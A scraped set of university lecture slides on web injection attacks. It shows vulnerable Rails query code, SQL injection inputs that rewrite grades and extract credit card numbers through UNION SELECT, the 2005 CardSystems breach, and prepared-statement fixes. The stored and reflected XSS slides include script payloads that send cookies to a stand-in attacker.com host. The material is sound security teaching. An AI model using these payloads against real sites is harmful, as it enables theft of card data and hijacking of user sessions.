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Web Security Best Practices: Protecting Against Injection Attacks

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Learn to safeguard your server from SQL injection attacks with prepared statements and stored XSS defense. Implement secure coding practices to mitigate risks.

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Web Security Best Practices: Protecting Against Injection Attacks

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  1. Unsafe Server Code advisorName = params[:form][:advisor] students = Student.find_by_sql( "SELECT students.* " + "FROM students, advisors " + "WHERE student.advisor_id = advisor.id " + "AND advisor.name = '" + advisorName + "'"); Typical query: SELECT students.* FROM students, advisors WHERE student.advisor_id = advisor.id AND advisor.name = 'Jones' Value from form field CS 142 Lecture Notes: Injection Attacks

  2. Injection Attack Enter the following in the "Advisor name" field: Jones'; UPDATE grades SET g.grade = 4.0 FROM grades g, students s WHERE g.student_id = s.id AND s.name = 'Smith Resulting query: SELECT students.* FROM students, advisors WHERE student.advisor_id = advisor.id AND advisor.name = 'Jones'; UPDATE grades SET g.grade = 4.0 FROM grades g, students s WHERE g.student_id = s.id AND s.name = 'Smith' CS 142 Lecture Notes: Injection Attacks

  3. Stealing Private Information CS 142 Lecture Notes: Injection Attacks

  4. Stealing Private Info, cont'd Server query code: month = params[:form][:month] orders = Orders.find_by_sql( "SELECT pizza, toppings, quantity, date " + "FROM orders " + "WHERE user_id=" + user_id + "AND order_month=" + month); What if "month" is: October AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as dateFROM credit_cards ' CS 142 Lecture Notes: Injection Attacks

  5. Resulting Query SELECT pizza, toppings, quantity, date FROM orders WHERE user_id=94412 AND order_month=OctoberAND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards CS 142 Lecture Notes: Injection Attacks

  6. Resulting Query SELECT pizza, toppings, quantity, date FROM orders WHERE user_id=94412 AND order_month=OctoberAND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards CS 142 Lecture Notes: Injection Attacks

  7. CardSystems Attack • CardSystems • Credit card payment processing company • SQL injection attack in June 2005 • The Attack • Credit card #s stored unencrypted • 263,000 credit card #s stolen from database • 43 million credit card #s exposed CS 142 Lecture Notes: Injection Attacks 7

  8. Let Rails Handle SQL Escaping Student.find_by_sql("SELECT students.* " + "FROM students, advisors " + "WHERE student.advisor_id = advisor.id " + "AND advisor.name = ?", params[:form][:advisor]) CS 142 Lecture Notes: Injection Attacks

  9. Prepared Statements PHP: $statement = odbc_prepare($connection, "SELECT * FROM students " . "WHERE advisor = ? AND gpa >= ?;"); odbc_execute($statement, array($advisor, $gpa)); Java: statement = connection.prepareStatement( "SELECT * FROM students " + "WHERE advisor = ? AND gpa >= ?;"); statement.setString(1, advisor); statement.setString(2, gpa); ResultSet rs = statement.executeQuery(); CS 142 Lecture Notes: Injection Attacks

  10. Stored XSS Attack Buggy server template: ... <div class="blogComment"> <%= @comment.message.html_safe%> </div> ... No escaping! Attacking blog entry: I agree completely with Alice ... <img style="display:none" id="cookieMonster"> <script> img= document.getElementById("cookieMonster"); img.src= "http://attacker.com?cookie=" + encodeURIComponent(document.cookie); </script> CS 142 Lecture Notes: Injection Attacks

  11. Reflected XSS Attack Buggy server template: ... <h1>Search Results</h1> Results for <%= params[:searchTerm].html_safe%> ... No escaping! Attacking search entry: Justin Bieber <img style="display:none" id="cookieMonster"> <script> img= document.getElementById("cookieMonster"); img.src= "http://attacker.com?cookie=" + encodeURIComponent(document.cookie); </script> CS 142 Lecture Notes: Injection Attacks

  12. CS 142 Lecture Notes: Cookies

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